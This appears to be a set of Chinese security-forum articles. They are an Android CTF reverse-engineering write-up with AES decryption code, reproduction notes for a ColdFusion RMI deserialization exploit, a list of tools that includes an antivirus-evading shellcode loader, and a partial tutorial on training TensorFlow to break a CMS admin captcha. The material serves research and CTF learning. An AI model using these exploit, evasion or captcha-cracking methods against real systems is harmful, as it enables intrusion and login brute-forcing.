所以整体上本题的加密就是aes_128_cbc与rc4，麻烦的是数据部分，如aes的密钥，iv，rc4密钥与密文等。因为开始说了在.init_array中进行了很多数据的解密，我在静态分析看到的大多数数据都是没有解密的。那我们现在要么对分析到的数据找到引用修改的.init_array中的函数按照相同的运算逻辑手动patch修改；要么就是把程序调试起来，分析起来会简单很多。
这里我选择了动态调试。
首先将AndroidMannifest.xml中的 **android:extractNativeLibs=”false“**
改为true或者删掉，默认为true。因为这个如果为false会让我们在调试时找不到so
然后因为我们调试的断点要断在 **JNI_OnLoad** 中（方便把注册的函数修改为正确的分支），那我们必须在程序还没执行
**System.loadLibrary(“native-lib”);** 之前就断下来，所以要程序要以调试模式启动。
首先我尝试了ida+jdb的组合：
> 运行环境中root模式启动好相应的服务程序，转发端口到本地。(停止转发端口： **adb forward —remove tcp:端口号`或`adb
> forward —remove-all**)
>
> 使用am命令以调试启动app：adb shell am start -D -n come.wmctf.crackme111/.MainActivity
>
> ida在JNI_OnLoad中下好断点，然后找到app对应的进程后附加，接着F9运行
>
> 打开ddms，用附加让app运行起来：jdb -connect
> com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700
但是这样做在jdb附加app就报如下的错误。这好像是我手机的原因？
我使用jeb来附加app同样也是报错，这都是在我先用IDA附加了进程的情况下，接着我尝试发现先jdb或jeb附加再IDA附加是可以的，但这样程序已经运行过
**System.loadLibrary(“native-lib”);** 了。
而还有一个方法，我们可以使用jeb附加调试断在 **System.loadLibrary(“native-lib”);** 之前再用IDA去附加进程呀。
然后成功断在JNI_OnLoad中，在正确分支下好断点，修改检测环境是否root的返回值为false，但是这个在native层运行完JNI_OnLoad函数回到java层的时候app又崩溃了。
最后干脆直接改so得了，就是把根据检测运行环境是否有su的返回值后的条件跳转改一下。
上面修改完后，把app重编译一下，然后普通的附加调试就好了。这也是调试本程序最简单的方法，上面绕了一大圈😂。
现在再看一下内存中解密后的数据，一目了然：
看到上面静态分析说的sub_7B4933FE80函数用fopen()打开了一个系统文件，现在调试过去发现原来是进程的状态信息：
再看到后面要匹配的内容。
自己手动查看一下：
接着直接调试到最后看获取的结果，就是要获取 **TracerPid:**
字段那一行的内容加上flg，而app正常不调试运行这个TracerPid是0的，所以这里获取的正确值为：
**TracerPid:\x090\x0Aflg**
接着看到下面与上面的静态分析结合可以知道：程序中aes_128的key： **TracerPid:\x090\x0Aflg** iv： **0, 1, 2,
3, 4, 5, 6, 7, 8, 9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF**
再就是这个aes加密的sbox果然是替换了的，正常的sbox开头为： **0x63, 0x7c, 0x77, 0x7b**
最后看到剩下的rc4加密，从传入参数看到密钥是 **Hello from C++**
下面开始解密。
首先rc4解密：
直接把输入的aes加密结果与最终经过rc4结果都提取出来异或一下得到异或序列，再将其与真正的密文异或一下得到真正的aes加密结果：
>>> s = [0xA4, 0xCD, 0xDA, 0x34, 0xA9, 0xE8, 0xFF, 0x48, 0xD6, 0x74, 0xE7, 0x0F, 0x71, 0xF7, 0xED, 0xB7, 0xC2, 0xA8, 0xE1, 0xE1, 0x0E, 0x2D, 0xD0, 0x8D, 0xF8, 0x20, 0x0E, 0x85, 0x1D, 0xBC, 0xC1, 0x61]
>>> t = []
>>> t = [0x6C, 0xDB, 0xC6, 0x75, 0x4A, 0x94, 0xAA, 0xBD, 0xF5, 0x92, 0xCF, 0xB6, 0x4E, 0x0B, 0x38, 0x5B, 0x2E, 0x4F, 0x48, 0xFD, 0xE2, 0x7B, 0xE3, 0xFE, 0x64, 0x7E, 0xEA, 0xA7, 0xB5, 0x8D, 0x96, 0xF5]
>>> ans = [s[i]^t[i] for i in range(len(s))]
>>> ans
[200, 22, 28, 65, 227, 124, 85, 245, 35, 230, 40, 185, 63, 252, 213, 236, 236, 231, 169, 28, 236, 86, 51, 115, 156, 94, 228, 34, 168, 49, 87, 148]
>>> enc = [0x18, 0x76, 0xEB, 0x87, 0x76, 0x3E, 0x77, 0x08, 0xC0, 0x8D, 0x56, 0x25, 0x9E, 0x35, 0x0D, 0x16, 0x23, 0x65, 0x61, 0x6A, 0x14, 0x9D, 0x4F, 0x1C, 0x64, 0x21, 0x7D, 0x78, 0xBA, 0x53, 0x91, 0x22]
>>> res = [ans[i]^enc[i] for i in range(len(enc))]
>>> res
[208, 96, 247, 198, 149, 66, 34, 253, 227, 107, 126, 156, 161, 201, 216, 250, 207, 130, 200, 118, 248, 203, 124, 111, 248, 127, 153, 90, 18, 98, 198, 182]
然后aes解密：
将之前自己写过的aes_cbc加解密中的sbox替换为程序中的，rsbox简单对sbox求一下逆，最后解密即可：
//aes.h
#ifndef AES_H
#define AES_H
#include <string.h>
#include <stdio.h>
#include <iostream>
#define Nk 4
#define Nr 10
#define Nb 4
#define getSBoxValue(num) (sbox[(num)])
class aes
{
public:
struct ctx_
{
unsigned char RoundKey[11*16];
}ctx;
public:
aes(char *Key);
void xor_iv(char *a, char *b);
void KeyExpansion(unsigned char *RoundKey, char *Key);
void AddRoundKey(unsigned char (*state)[4], unsigned char *RoundKey);
void SubBytes(unsigned char (*state)[4]);
void ShiftRows(unsigned char (*state)[4]);
unsigned char gfmultby(unsigned char a, unsigned char b);
void MixColumns(unsigned char (*state)[4]);
void getData(unsigned char (*data)[4], char *enc);
void encryption_cbc(char *plaint, char *enc);
void InvSubBytes(unsigned char (*state)[4]);
void InvShiftRows(unsigned char (*state)[4]);
void InvMixColumns(unsigned char (*state)[4]);
void decryption_cbc(char *plaint, char *enc);
};
#endif // AES_H
//main.cpp
#include "aes.h"
using namespace std;
const unsigned char sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0x7C, 0xF2, 0x63, 0x7B, 0x77, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0x0C, 0xCD, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0x08, 0xAE, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 };
unsigned char rsbox[256] = {0};
const unsigned char Rcon[11] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };
const unsigned char MixValue[4][4] = {{02, 03, 01, 01},
{01, 02, 03, 01},
{01, 01, 02, 03},
{03, 01, 01, 02}
};
const unsigned char InvMixValue[4][4] = {{0xe, 0xb, 0xd, 0x9},
{0x9, 0xe, 0xb, 0xd},
{0xd, 0x9, 0xe, 0xb},
{0xb, 0xd, 0x9, 0xe}
};
aes::aes(char *key)
{
this->KeyExpansion(ctx.RoundKey, key);
for(int i = 0; i < 256; i++)
{
rsbox[sbox[i]] = i;
}
}
void aes::xor_iv(char *data, char *iv)
{
for(int i = 0; i < 16; i++)
data[i] ^= iv[i];
}
void aes::KeyExpansion(unsigned char *RoundKey, char *Key)
{
unsigned char i, j, k;
unsigned char tempa[4];
for (i = 0; i < Nk; ++i)
{
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
}
for (i = Nk; i < Nb * (Nr + 1); ++i)
{
k = (i - 1) * 4;
tempa[0]=RoundKey[k + 0];
tempa[1]=RoundKey[k + 1];
tempa[2]=RoundKey[k + 2];
tempa[3]=RoundKey[k + 3];
if (i % Nk == 0)
{
const unsigned char u8tmp = tempa[0];
tempa[0] = tempa[1];
tempa[1] = tempa[2];
tempa[2] = tempa[3];
tempa[3] = u8tmp;
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
tempa[0] = tempa[0] ^ Rcon[i/Nk];
}
j = i * 4; k=(i - Nk) * 4;
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
}
}
void aes::AddRoundKey(unsigned char (*state)[4], unsigned char *RoundKey)
{
int i, j;
for(i = 0; i < 4 ;i++)
{
for(j = 0; j < 4; j++)
{
state[i][j] ^= RoundKey[j*4+i];
}
}
}
void aes::InvSubBytes(unsigned char (*state)[4])
{
int i, j;
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
state[i][j] = rsbox[state[i][j]];
}
}
}
void aes::InvShiftRows(unsigned char (*state)[4])
{
int i, j, cnt, tmp;
for(i = 1; i < 4; i++)
{
cnt = 0;
while(cnt++ < i)
{
tmp = state[i][3];
for(j = 3; j > 0; j--)
{
state[i][j] = state[i][j-1];
}
state[i][j] = tmp;
}
}
}
unsigned char aes::gfmultby(unsigned char a, unsigned char b)
{
unsigned char tmp = a >= 0x80 ? (unsigned char)((a<<1)^0x1b):(unsigned char)(a << 1);
if(b == 1)
return a;
else if(b == 2)
return tmp;
else if(b == 3)
return tmp^a;
else if(b == 4)
return gfmultby(tmp, 2);
else if(b == 8)
return gfmultby(gfmultby(tmp, 2), 2);
else if(b == 9)
return gfmultby(gfmultby(tmp, 2), 2)^a;
else if(b == 10)
return gfmultby(gfmultby(tmp, 2), 2)^tmp;
else if(b == 11)
return gfmultby(gfmultby(tmp, 2), 2)^tmp^a;
else if(b == 12)
return gfmultby(gfmultby(tmp, 2), 2)^gfmultby(tmp, 2);
else if(b == 13)
return gfmultby(gfmultby(tmp, 2), 2)^gfmultby(tmp, 2)^a;
else
return gfmultby(gfmultby(tmp, 2), 2)^gfmultby(tmp, 2)^tmp;
}
void aes::InvMixColumns(unsigned char (*state)[4])
{
int i, j, k;
unsigned char output[4][4] = {{0}};
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
for(k = 0; k < 4; k++)
{
output[i][j] ^= gfmultby(state[k][j], InvMixValue[i][k]);
}
}
}
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
state[i][j] = output[i][j];
}
}
}
void aes::getData(unsigned char (*data)[4], char *plaint)
{
int i, j;
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
data[j][i] = plaint[4*i+j];
}
}
}
void aes::decryption_cbc(char *enc, char *plain)
{
int i = 10, j = 0;
unsigned char state[4][4] = {{0}}, output[4][4];
aes::getData(state, enc);
aes::AddRoundKey(state, ctx.RoundKey+i*16);
for(i--; ; i--)
{
aes::InvShiftRows(state);
aes::InvSubBytes(state);
aes::AddRoundKey(state, ctx.RoundKey+i*16);
if(i == 0)
break;
aes::InvMixColumns(state);
}
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
output[i][j] = state[j][i];
}
}
for(i = 0; i < 16; i++)
plain[i] = ((char *)output)[i];
}
int main(void)
{
char key[] = {84, 114, 97, 99, 101, 114, 80, 105, 100, 58, 9, 48, 10, 102, 108, 103};
char iv[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF};
char plain[100] = {0};
char enc[] = {208, 96, 247, 198, 149, 66, 34, 253, 227, 107, 126, 156, 161, 201, 216, 250, 207, 130, 200, 118, 248, 203, 124, 111, 248, 127, 153, 90, 18, 98, 198, 182};
aes *cry = new aes(key);
for(int i = 0; i < 32; i += 16)
{
cry->decryption_cbc(enc+i, plain+i);
if(i == 0)
cry->xor_iv(plain+i, iv);
else
cry->xor_iv(plain+i, enc+(i-16));
}
puts(plain);
return 0;
}
最后解密得到： **wmctf{e78ce1a3ac4be37a96e27e98c}** | 社区文章 |
### 漏洞介绍
根据漏洞作者博客中的描述，他发现CodeFusion的RMI服务（默认端口1099）未对请求的对象类型进行校验，可能存在反序列化漏洞，而且CodeFusion中依赖了lib/js.jar（Mozilla
Rhino JavaScript library），可以构造出稳定的反序列化POP链。
### 环境搭建
官方下载试用版（不是最新版，未修复漏洞），正常安装。
更新提示中的版本才为修复后版本。
开启RMI服务，并且确认1099端口正常启动。
### 构造PoC
直接通过ysoserial工具（使用方式参考官方手册即可）利用，很可惜不成功。
注意观察报错信息（当然漏洞作者也在博客里有说明，可以仔细看看），很明显是因为服务端和客户端的`serialVersionUID`不一致（一般为版本或其他编译环境问题）。
进入ysoserial的rhino:js:1.7R2/js-1.7R2.jar（Maven管理的，即Mozilla
Rhino）中找到ScriptableObject类看看，发现它并没有显式的定义自己的`serialVersionUID`。
这时候的做法有3种：
1.拿到生成的payload，找到对应的`serialVersionUID`，将它改成和服务端一致，再编写脚本或其他方式自行发包
1.拦截TCP请求，修改对应的`serialVersionUID`值，再放行
1.修改js-1.7R2.jar，为ScriptableObject类显式定义`serialVersionUID`并赋值
前两种做法问题应该不大，我们重点测试第三种。
由于js-1.7R2.jar版本有点老（2009年），依赖的编译环境不是特别好匹配（JDK1.5和老版本的Ant），因此我们直接使用javaassist对ScriptableObject.class进行字节码操作。
将重新生成的ScriptableObject.class替换掉js-1.7R2.jar中修改之前的版本（当然你也可以选择直接write）。
用新的jar包生成payload进行测试，会发现IdScriptableObject也存在一样的问题，重复上面的工作就行了。
再次测试，出现的RhinoException不一致可以忽略，那已经是回包了。
### 复现验证
测试结果除了报RhinoException的错，仍然没有弹出计算器。
别急，让我们看看进程。
因为在安装ColdFusion时被做成了服务由SYSTEM启动（见上图ColdFusion相关进程），和我们当前用户不交互。
那我们手动启动一次，再试试。 | 社区文章 |
**作者：知道创宇404实验室
时间：2020年11月30日 **
“404星链计划”是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式，长期维护并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
其中不仅限于突破安全壁垒的大型工具，也会包括涉及到优化日常使用体验的各种小工具，除了404自研的工具开放以外，也会不断收集安全研究、渗透测试过程中的痛点，希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
项目地址: \- <https://github.com/knownsec/404StarLink-Project>
2020年11月，知道创宇404实验室正式推出星链计划2.0。通过星链计划核心社群成员作为核心，筛选 **优质、有意义、有趣、坚持维护**
的开源项目加入星链计划2.0，由404实验室核心成员及星链计划核心成员作为背书，将优质的开源项目汇聚成星河，为立足于不同安全领域的安全研究人员指明方向，代号
**Galaxy** 。
项目地址: \- <https://github.com/knownsec/404StarLink2.0-Galaxy>
# Contents
* Reconnaissance 信息收集
* [ksubdomain](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#ksubdomain)
* the fastest subdomain enumeration tool
* [Zoomeye Tools](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#zoomeye-tools)
* the Chrome extension with Zoomeye
* [Zoomeye SDK](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#zoomeye-sdk)
* ZoomEye API SDK
* Vulnerability Assessment 漏洞探测
* [Pocsuite3](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#pocsuite3)
* pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.
* Penetration Test 攻击与利用
* [ShellcodeLoader](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#shellcodeloader)
* ShellcodeLoader of windows can bypass AV.
* Information analysis 信息分析
* [KunLun-M](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#kunlun-m)
* Kunlun-Mirror. Focus on white box tools used by security researchers
* [KunLun-M - phpunserializechain](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#kunlun-m---phpunserializechain)
* A demo tool based on codedb to find the php deserialization chain.
* [KunLun-M - EntranceFinder](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#kunlun-m---EntranceFinder)
* A little tool to find the php entry page.
* Back-penetration, intranet tools 后渗透、内网工具
* [Portforward](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#portforward)
* PortForward is a port forwarding tool developed using Golang.
* Others 其他相关
* [LBot](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#lbot)
* A simple xss bot template
* [wam](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#wam)
* WAM is a platform powered by Python to monitor "Web App"
* Minitools
* [bin_extractor](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#bin_extractor)
* A simple script for quickly mining sensitive information in binary files.
* [CookieTest](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#cookietest)
* A script used to quickly test APIs or required parameters and cookies for a certain request.
* [ipstatistics](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#ipstatistics)
* ipstatistics is a script based on the ipip library that is used to quickly filter the ip list.
* [cidrgen](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#cidrgen)
* cidrgen is based on cidr's subnet IP list generator
# Penetration Test 攻击与利用
## ShellcodeLoader
#### 项目链接：
<https://github.com/knownsec/shellcodeloader>
#### 项目简述：
shellcode由于可以随意地进行变化和还原，杀软的查杀难度较大。因此将木马shellcode化，再进行shellcode免杀是目前最流行的免杀方式之一。
但是就以Cobalt
Strike的shellcode免杀载荷常规的制作方式来说，需要将shellcode文本加密编码，放入源码想办法免杀，编译等过程太过繁琐，其中不少步骤耗时耗力，更换shellcode之后不少过程又需要重复进行。
本工具旨在解决shellcode载荷生成过程中多数重复性工作，降低免杀的工作时间，将更多的精力放在渗透或者发现新的免杀利用方式上。
# Minitool
## KunLun-M - EntranceFinder
#### 项目链接：
<https://github.com/LoRexxar/Kunlun-M/tree/master/core/plugins/entranceFinder>
#### 项目简述：
一个有趣的小工具，用于解决在审计大量的php代码时，快速发现存在可能的入口页面（或是开发者都遗漏的）。
* * * | 社区文章 |
## 0X000 前言
在 [使用tensorflow自动识别验证码（一）](https://xianzhi.aliyun.com/forum/topic/1505/
"使用tensorflow自动识别验证码（一）") 这篇文章中，对使用tensorflow自动识别验证码的过程做了简单的了解和编写。
那么今天这篇文章将对上篇文章中代码进行修改用于实现对主流的CMS进行验证码的破解。
## 0x001 破解步骤
先回顾一下 tensorflow 的自动识别验证码的步骤
* 采样
* 创建识别模型
* 训练识别模型
* 保存识别模型
* 验证
由于后面三步基本都是tensorflow自动完成
我们主要的工作是前两步。所以步骤以以下几步为主：
* 寻找开源系统中的验证码模块
* 修改和测试验证码模块
* 验证码模块适配采样代码
* 修改识别 **模型参数**
## 0x002 寻找开源系统中的验证码模块
先寻找你想要破解的cms（开不开源没关系，最主要是你有源码）。
这里用的是XXXCMS（=。= 屏蔽掉了关键字 自行想象）
我们先登陆一下管理员，OK，果然是有验证码的。
打开编辑器 寻找到生成验证码的类 `checkcode.class.php`
<?php
/**
* 生成验证码
* @author chenzhouyu
* 类用法
* $checkcode = new checkcode();
* $checkcode->doimage();
* //取得验证
* $_SESSION['code']=$checkcode->get_code();
*/
class checkcode {
//验证码的宽度
public $width=130;
//验证码的高
public $height=50;
//设置字体的地址
private $font;
//设置字体色
public $font_color;
//设置随机生成因子
public $charset = 'abcdefghkmnprstuvwyzABCDEFGHKLMNPRSTUVWYZ23456789';
//设置背景色
public $background = '#EDF7FF';
//生成验证码字符数
public $code_len = 4;
//字体大小
public $font_size = 20;
//验证码
private $code;
//图片内存
private $img;
//文字X轴开始的地方
private $x_start;
function __construct() {
$rand = rand(0,1);
if($rand==0) {
$this->font = PC_PATH.'libs'.DIRECTORY_SEPARATOR.'data'.DIRECTORY_SEPARATOR.'font'.DIRECTORY_SEPARATOR.'elephant.ttf';
} else {
$this->font = PC_PATH.'libs'.DIRECTORY_SEPARATOR.'data'.DIRECTORY_SEPARATOR.'font'.DIRECTORY_SEPARATOR.'Vineta.ttf';
}
}
/**
* 生成随机验证码。
*/
protected function creat_code() {
$code = '';
$charset_len = strlen($this->charset)-1;
for ($i=0; $i<$this->code_len; $i++) {
$code .= $this->charset[rand(1, $charset_len)];
}
$this->code = $code;
}
/**
* 获取验证码
*/
public function get_code() {
return strtolower($this->code);
}
/**
* 生成图片
*/
public function doimage() {
$code = $this->creat_code();
$this->img = imagecreatetruecolor($this->width, $this->height);
if (!$this->font_color) {
$this->font_color = imagecolorallocate($this->img, rand(0,156), rand(0,156), rand(0,156));
} else {
$this->font_color = imagecolorallocate($this->img, hexdec(substr($this->font_color, 1,2)), hexdec(substr($this->font_color, 3,2)), hexdec(substr($this->font_color, 5,2)));
}
//设置背景色
$background = imagecolorallocate($this->img,hexdec(substr($this->background, 1,2)),hexdec(substr($this->background, 3,2)),hexdec(substr($this->background, 5,2)));
//画一个柜形，设置背景颜色。
imagefilledrectangle($this->img,0, $this->height, $this->width, 0, $background);
$this->creat_font();
$this->creat_line();
$this->output();
}
/**
* 生成文字
*/
private function creat_font() {
$x = $this->width/$this->code_len;
for ($i=0; $i<$this->code_len; $i++) {
imagettftext($this->img, $this->font_size, rand(-30,30), $x*$i+rand(0,5), $this->height/1.4, $this->font_color, $this->font, $this->code[$i]);
if($i==0)$this->x_start=$x*$i+5;
}
}
/**
* 画线
*/
private function creat_line() {
imagesetthickness($this->img, 3);
$xpos = ($this->font_size * 2) + rand(-5, 5);
$width = $this->width / 2.66 + rand(3, 10);
$height = $this->font_size * 2.14;
if ( rand(0,100) % 2 == 0 ) {
$start = rand(0,66);
$ypos = $this->height / 2 - rand(10, 30);
$xpos += rand(5, 15);
} else {
$start = rand(180, 246);
$ypos = $this->height / 2 + rand(10, 30);
}
$end = $start + rand(75, 110);
imagearc($this->img, $xpos, $ypos, $width, $height, $start, $end, $this->font_color);
if ( rand(1,75) % 2 == 0 ) {
$start = rand(45, 111);
$ypos = $this->height / 2 - rand(10, 30);
$xpos += rand(5, 15);
} else {
$start = rand(200, 250);
$ypos = $this->height / 2 + rand(10, 30);
}
$end = $start + rand(75, 100);
imagearc($this->img, $this->width * .75, $ypos, $width, $height, $start, $end, $this->font_color);
}
/**
* 输出图片
*/
private function output() {
header("content-type:image/png\r\n");
imagepng($this->img);
imagedestroy($this->img);
}
}
前期准备工作基本完成。接下来是修改和测试验证码模块
## 0x003 修改和测试验证码模块
由于系统的验证码都是随机生成且不可控
我们需要把上面的代码改造成 形如
`create_img.php?code=XXXX` 的形式
这样子我们就可以通过上次的py的代码随机生成参数
来控制验证码的生成从而达到生成样本的目的。
值得注意的是 这个系统用了两种字体去生成它的验证码
我们这为了减轻识别的负担，把其中一个去掉 。
改造后 保存为 `create_img.php`
<?php
class checkcode
{
//验证码的宽度
public $width = 130;
//验证码的高
public $height = 50;
//设置字体的地址
private $font;
//设置字体色
public $font_color;
//设置随机生成因子
public $charset = 'abcdefghkmnprstuvwyzABCDEFGHKLMNPRSTUVWYZ23456789';
//设置背景色
public $background = '#EDF7FF';
//生成验证码字符数
public $code_len = 4;
//字体大小
public $font_size = 20;
//验证码
private $code;
//图片内存
private $img;
//文字X轴开始的地方
private $x_start;
function __construct()
{
$this->font = './font/elephant.ttf';
}
/**
* 生成随机验证码。
*/
protected function creat_code()
{
$this->code = $_GET['code'];
}
/**
* 获取验证码
*/
public function get_code()
{
return strtolower($this->code);
}
/**
* 生成图片
*/
public function doimage()
{
$code = $this->creat_code();
$this->img = imagecreatetruecolor($this->width, $this->height);
if (!$this->font_color) {
$this->font_color = imagecolorallocate($this->img, rand(0, 156), rand(0, 156), rand(0, 156));
} else {
$this->font_color = imagecolorallocate($this->img, hexdec(substr($this->font_color, 1, 2)), hexdec(substr($this->font_color, 3, 2)), hexdec(substr($this->font_color, 5, 2)));
}
//设置背景色
$background = imagecolorallocate($this->img, hexdec(substr($this->background, 1, 2)), hexdec(substr($this->background, 3, 2)), hexdec(substr($this->background, 5, 2)));
//画一个柜形，设置背景颜色。
imagefilledrectangle($this->img, 0, $this->height, $this->width, 0, $background);
$this->creat_font();
$this->creat_line();
$this->output();
}
/**
* 生成文字
*/
private function creat_font()
{
$x = $this->width / $this->code_len;
for ($i = 0; $i < $this->code_len; $i++) {
imagettftext($this->img, $this->font_size, rand(-30, 30), $x * $i + rand(0, 5), $this->height / 1.4, $this->font_color, $this->font, $this->code[$i]);
if ($i == 0) $this->x_start = $x * $i + 5;
}
}
/**
* 画线
*/
private function creat_line()
{
imagesetthickness($this->img, 3);
$xpos = ($this->font_size * 2) + rand(-5, 5);
$width = $this->width / 2.66 + rand(3, 10);
$height = $this->font_size * 2.14;
if (rand(0, 100) % 2 == 0) {
$start = rand(0, 66);
$ypos = $this->height / 2 - rand(10, 30);
$xpos += rand(5, 15);
} else {
$start = rand(180, 246);
$ypos = $this->height / 2 + rand(10, 30);
}
$end = $start + rand(75, 110);
imagearc($this->img, $xpos, $ypos, $width, $height, $start, $end, $this->font_color);
if (rand(1, 75) % 2 == 0) {
$start = rand(45, 111);
$ypos = $this->height / 2 - rand(10, 30);
$xpos += rand(5, 15);
} else {
$start = rand(200, 250);
$ypos = $this->height / 2 + rand(10, 30);
}
$end = $start + rand(75, 100);
imagearc($this->img, $this->width * .75, $ypos, $width, $height, $start, $end, $this->font_color);
}
/**
* 输出图片
*/
private function output()
{
header("content-type:image/png\r\n");
imagepng($this->img);
imagedestroy($this->img);
}
}
$checkcode = new checkcode();
$checkcode->doimage();
接下来要测试一下 编写 `test.py`
import requests as req
from PIL import Image
from io import BytesIO
import numpy as np
response = req.get('http://127.0.0.1:8080/xxxcms/create_img.php?code=1234')
image = Image.open(BytesIO(response.content))
gray = image.convert('L') #灰值
gray = gray.point(lambda x: 0 if x<128 else 255, '1') #去杂质
gray.show()
img = np.array(gray.getdata()) #转换成数组
print img
运行 `python test.py`
如果打开看到控制台以及黑白图片后
那么 代表验证码部分准备完成
## 0x004 验证码模块适配采样代码
重点看几个参数
* 验证码的 **生成因子**
* 验证码的 **长** ， **宽**
* 验证码的 **位数**
上面的类中我们可以看到 这几个参数的值 依次为
* `生成因子: abcdefghkmnprstuvwyzABCDEFGHKLMNPRSTUVWYZ23456789`
* `长宽：130x50`
* `位数： 4;`
复制一份 `generate_captcha.py` 为 `xxxcms_generate_captcha.py`
添加
`from io import BytesIO` 和 `import requests as req` 的 import
主要修改两个地方
第一个是 开头处的生成参数
width=130, # 验证码图片的宽
height=50, # 验证码图片的高
char_num=4, # 验证码字符个数
characters='abcdefghkmnprstuvwyzABCDEFGHKLMNPRSTUVWYZ23456789'):
第二个是 `gen_captcha` 的方法中获取图片的方法修改成`test.py`中的方法
X = np.zeros([batch_size, self.height, self.width, 1])
img = np.zeros((self.height, self.width), dtype=np.uint8)
Y = np.zeros([batch_size, self.char_num, self.classes])
image = ImageCaptcha(width=self.width, height=self.height)
while True:
for i in range(batch_size):
captcha_str = ''.join(random.sample(self.characters, self.char_num))
imgurl = 'http://127.0.0.1:8080/xxxcms/create_img.php?code='+captcha_str
response = req.get(imgurl)
img = Image.open(BytesIO(response.content)).convert('L')
img = np.array(img.getdata())
X[i] = np.reshape(img, [self.height, self.width, 1]) / 255.0
for j, ch in enumerate(captcha_str):
Y[i, j, self.characters.find(ch)] = 1
Y = np.reshape(Y, (batch_size, self.char_num * self.classes))
yield X, Y
打开 train_captcha.py
把`import generate_captcha` 改为
